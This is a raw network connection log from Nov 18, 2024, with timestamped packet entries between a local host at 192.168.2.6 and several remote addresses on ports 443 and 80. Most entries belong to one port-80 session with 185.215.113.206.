Nov 18, 2024 00:27:55.118916035 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.118940115 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.118946075 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.118971109 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.118987083 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.118998051 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.119012117 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.119024992 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.119055033 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.119081974 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.127329111 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.137039900 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.139089108 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.139162064 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.139230013 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.139489889 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.139507055 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.141375065 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.142034054 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.142056942 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.142406940 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.143029928 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.143098116 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.143443108 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.144536972 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.144578934 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.144705057 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.145020962 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.145034075 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.146615028 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.146667957 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.146855116 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.146872044 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.146982908 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.146997929 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.147006035 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.147347927 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.147435904 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.147511005 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.149929047 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.149966002 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.150065899 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.150248051 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.150266886 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.151511908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.151524067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.151571035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.187330961 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.190064907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190078020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190089941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190145016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190149069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.190157890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190170050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.190195084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.190227985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.192325115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192334890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192344904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192357063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192383051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.192414999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.192425013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192437887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.192461014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.192477942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.194829941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.194842100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.194854975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.194868088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.194881916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.194885015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.194933891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.197218895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197230101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197241068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197252035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197261095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.197264910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197276115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.197282076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.197325945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.199383020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.199393988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.199408054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.199419975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.199429989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.199431896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.199451923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.199485064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.201509953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201522112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201534986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201565981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.201587915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.201694012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201775074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.201818943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201829910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.201868057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.203140974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203154087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203178883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203188896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203238010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.203272104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.203753948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203766108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203778982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.203819036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.203845024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.205426931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205440044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205451012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205461979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205475092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205485106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.205487967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.205516100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.205538988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.207669020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207679033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207690001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207715988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.207732916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207745075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207756042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.207762957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.207791090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.209840059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209850073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209860086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209872961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209884882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209892988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.209897995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.209923029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.209944010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.212421894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212431908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212444067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212462902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212475061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212474108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.212485075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.212502956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.212522984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.214683056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.214737892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.214749098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.214756012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.214787006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.220967054 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.222233057 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.222351074 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.222559929 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.222573996 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.228176117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228188992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228200912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228229046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.228260040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.228265047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228276014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228287935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.228323936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.230576992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230628014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230633974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.230638981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230658054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230673075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230678082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.230684042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.230715036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.238440990 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238455057 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238490105 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238507032 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238518953 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238526106 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238527060 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.238542080 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.238574982 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.238606930 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.240473986 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.241087914 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.241111994 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.241583109 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.241589069 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.276829958 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.276851892 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.276920080 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.276921988 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.276963949 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.278254032 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.278274059 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.307173014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307184935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307198048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307209015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307221889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307234049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307346106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.307346106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.307375908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307389975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.307436943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.309729099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309741974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309753895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309766054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309799910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309803963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.309813023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.309840918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.309854031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.312306881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312319040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312328100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312340021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312350988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312362909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.312386990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.312444925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.314385891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314398050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314409018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314444065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.314474106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.314534903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314548016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314558983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.314583063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.314610958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.316813946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316827059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316838026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316881895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.316911936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.316939116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316951036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316961050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.316987038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.317012072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.318711996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318722963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318732977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318738937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318784952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.318824053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.318923950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318937063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.318948984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.319127083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.319163084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.320369959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.320430040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.320506096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.320517063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.320538998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.320564032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.320590019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.321335077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.321352959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.321365118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.321403980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.321429968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.321979046 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.322297096 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:55.322315931 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.322684050 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.322736979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322748899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322761059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322771072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322784901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322798014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.322798967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.322830915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.322849989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.323896885 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:55.323972940 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.324100018 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:55.324879885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324893951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324904919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324917078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324945927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.324951887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324963093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.324980021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.325001001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.327164888 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.327368021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327380896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327394009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327406883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327425003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327434063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327446938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.327524900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.327524900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.327524900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.327524900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.329415083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329425097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329435110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329447031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329461098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329480886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.329524040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.329652071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329662085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.329704046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.331008911 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.331036091 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.331664085 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.331671000 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.331914902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.331927061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.331933975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.331978083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.332006931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.345330954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345343113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345352888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345362902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345377922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345387936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.345402002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.345451117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347655058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347666025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347677946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347718954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347747087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347760916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347771883 CET	80	49889	185.215.113.206	192.168.2.6
